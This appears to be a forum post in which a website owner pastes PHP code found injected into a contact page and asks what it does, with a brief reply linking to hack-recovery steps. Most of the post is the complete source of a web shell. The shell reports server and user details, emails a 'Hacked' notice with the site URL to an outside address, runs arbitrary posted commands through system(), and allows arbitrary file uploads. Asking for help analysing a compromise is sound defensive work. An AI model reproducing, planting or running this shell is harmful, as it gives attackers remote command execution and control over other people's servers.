Just found this code in my define_contact_us page..

Anyone know what they were / trying to do with this?

<title>g0nz simple</title> <?php echo "<p><font size=2 face=Verdana><b>This Is The Server Information</b></font></p>"; ?> <?php closelog( ); $user = get_current_user( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $ver = phpversion( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); if(!$whoami)$whoami=exec("whoami"); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "Safe Mode ON"; } else { $safemode = false; $hsafemode = "Safe Mode OFF"; } $web = $_SERVER["HTTP_HOST"]; $fie = $_SERVER["SCRIPT_NAME"]; $injeck = $_SERVER["REQUEST_URI"]; $s="/"; $########=$web.$s.$injeck; $body = "From: $whoami <$user> $hsafemodernReply-To: Architechrn"; $body .= "MIME-Version: 1.0rn"; $body .= "Counter script:rn$web$fiernrnProof of Concept:rn$injeckrnrn"; $body .= "Full script:rn$fuckrnrn"; mail("jcars00n######################","$web$fie Hacked","",$body); //mail("jcars00n######################","$web$fie Hacked","",$body); ?> <meta name="generator" content="Namo WebEditor v5.0"> <br> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"> <?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <TR>

<TD><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>

</TR> <?php } ?> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Mode Status:</b> <? echo"$hsafemode"; ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Cek Status :</b> <? if (is_callable("exec")) {echo"Exec = OK ; ";} else {echo"Exec = False ; ";}

  if (is_callable("shell_exec")) {echo"Shell_Exec = OK ; ";} else {echo"Shell_Exec = False ; ";}
  if (is_callable("system")) {echo"System = OK ; ";} else {echo"System = False ; ";}

  if (is_callable("passthru")) {echo"Passthru = OK ; ";} else {echo"Passthru = False ; ";}

?></DIV></TD>

</TR> </TABLE> <BR>

<font face="courier new" size="2" color="777777"><b>#</b>architech injection: <br>

</font><FORM name=injection METHOD=POST ACTION="<?php echo $_SERVER["REQUEST_URI"];?>">
<font face="courier new" size="2" color="777777">cmd :

<INPUT TYPE="text" NAME="cmd" value="<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>" size="161"> <br> <INPUT TYPE="submit">

</font></FORM>

<FORM ACTION="<?php echo $_SERVER["REQUEST_URI"];?>" METHOD=POST enctype="multipart/form-data" name=injection> <font face="courier new" size="2" color="777777">Upload</font><font face="courier new" size="2" color="777777"> : <input type="file" name="uploadfile"> <br>Directory : <input type="text" name="dir"> ex : local keep blank; folder images/upload/ <input name="upl" type="hidden" id="upl" value="1"> <br> <INPUT TYPE="submit" value="Upload"> </font> </FORM> <hr color=777777 width=100% height=115px> <pre> <? if ($_POST[upl]==1) { $filename = $HTTP_POST_FILES['uploadfile']['name']; $path=$dir.$filename; if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], "$path") ){echo"Upload Success $path";} } $cmd = $_POST['cmd']; if (isset($chdir)) @chdir($chdir); ob_start(); system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); //exit; ?> <br> <br> <br> <? ob_start(); $pr="perl -v"; system("$pr 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $result = ob_get_contents(); ob_end_clean(); if (ereg(perl,$result)) {echo"Perl is active";} else {echo"Perl is not active";} exit; ?> </pre>

Follow the steps in the link above

CLICK HERE - Recovering from Hacks.